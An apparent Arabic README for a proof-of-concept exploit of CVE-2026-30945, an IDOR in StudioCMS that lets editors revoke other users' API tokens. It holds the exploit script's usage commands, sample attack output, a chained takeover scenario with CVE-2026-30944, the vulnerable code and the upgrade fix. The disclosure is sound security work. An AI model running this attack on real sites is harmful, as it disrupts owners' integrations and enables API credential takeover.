
إثبات مفهوم لاستغلال CVE-2026-30945، وهو ثغرة IDOR في StudioCMS تسمح بإبطال عشوائي لرموز API وحرمان من الخدمة. يتضمن أوضاع اختبار يدوية وآلية.
StudioCMS IDOR — إبطال تعسفي لرموز API يؤدي إلى رفض الخدمة
تسمح نقطة النهاية DELETE /studiocms_api/dashboard/api-tokens في StudioCMS ≤ 0.3.0 لأي مستخدم مُصادق يتمتع بصلاحيات editor أو أعلى بإبطال رموز API التي تخص أي مستخدم آخر، بما في ذلك حسابات admin و .
ownerيقبل المعالج tokenID و userID مباشرة من حمولة الطلب دون التحقق من ملكية الرمز أو هوية المتصل أو التسلسل الهرمي للأدوار. وهذا يتيح رفض خدمة موجهاً ضد التكاملات والأتمتة الحرجة.
ذو صلة: تشترك هذه الثغرة في نفس السبب الجذري مع CVE-2026-30944 (IDOR في توليد الرموز). عند دمجها معاً، يمكن للمهاجم إبطال الرموز الشرعية وتوليد رموز جديدة، محققاً استيلاءً كاملاً على بيانات اعتماد API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attacker │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (عالية) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| CWE (ثانوي) | CWE-863: تفويض غير صحيح |
| MITRE ATT&CK | T1531 — إزالة وصول الحساب |
| OWASP API | API1:2023 — تفويض مكسور على مستوى الكائن |
| المتأثر | studiocms ≤ 0.3.0 |
| تم الإصلاح في | studiocms 0.4.0 |
| الملف | الوصف |
|---|---|
cve_2026_30945_poc.py | سكربت استغلال بلغة Python مع أوضاع يدوية وآلية |
README.md | هذا الملف |
LICENSE | رخصة MIT |
Editor على الأقلpip install requests colorama
# إبطال رمز محدد يخص المالك
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# الدمج مع CVE-2026-30944: إنشاء رمز للهدف أولاً
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# حفظ النتائج في JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# اختبار بأدوار متعددة
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| الوسيط | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لـ StudioCMS المستهدف |
--target-uuid | UUID المستخدم المستهدف الذي سيتم إبطال رمزه |
| الوسيط | الوصف |
|---|---|
--token-id | UUID سجل الرمز الداخلي المراد إبطاله (وليس JWT). إذا تم حذفه، سيحاول السكربت إنشاء رمز أولاً عبر CVE-2026-30944 |
| الوسيط | الوصف |
|---|---|
--username | اسم المستخدم للمصادقة |
--password | كلمة المرور للمصادقة |
| الوسيط | الوصف |
|---|---|
--auto-test | تفعيل الاختبار الآلي متعدد الأدوار |
--editor-user | اسم مستخدم حساب المحرر |
--editor-pass | كلمة مرور حساب المحرر |
--visitor-user | اسم مستخدم حساب الزائر |
--visitor-pass | كلمة مرور حساب الزائر |
| الوسيط | الوصف |
|---|---|
--save | حفظ النتائج في ملف JSON |
--no-ssl-verify | تعطيل التحقق من شهادة SSL |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED — Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
عند دمجها مع IDOR في توليد الرموز (CVE-2026-30944)، يمكن للمهاجم تنفيذ استيلاء كامل على بيانات اعتماد API:
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
└──► Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
└──► Attacker now has owner-level API access
Step 3: Owner creates a new token to fix
└──► Attacker revokes it again (persistent DoS)
يخلق هذا سيناريو يحافظ فيه المهاجم على سيطرة دائمة على وصول API الخاص بالمالك، مع إبطال متكرر لأي رموز جديدة ينشئها المالك مع الحفاظ على وصوله غير الشرعي الخاص.
يقبل المعالج الضعيف في packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (الأسطر 58–99) tokenID و userID من جسم الطلب ويمررهما مباشرة إلى دالة الحذف دون أي فحوصات تفويض:
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
tokenID: string; // No ownership check
userID: string; // No identity check
}>(ctx);
// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
يمتلك المعالج خمسة عيوب مميزة: بوابة صلاحيات غير كافية، عدم التحقق من ملكية الرمز، غياب فحص هوية المتصل، عدم فرض التسلسل الهرمي للأدوار، والتمرير المباشر للقيم التي يتحكم بها المستخدم إلى عملية تدميرية.
قم بتحديث StudioCMS إلى الإصدار 0.4.0 أو أحدث:
npm install studiocms@latest
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
Filipe Gaudard
تم إصدار هذا الـ PoC بموجب رخصة MIT لأغراض تعليمية. استخدمه بمسؤولية وأخلاقية.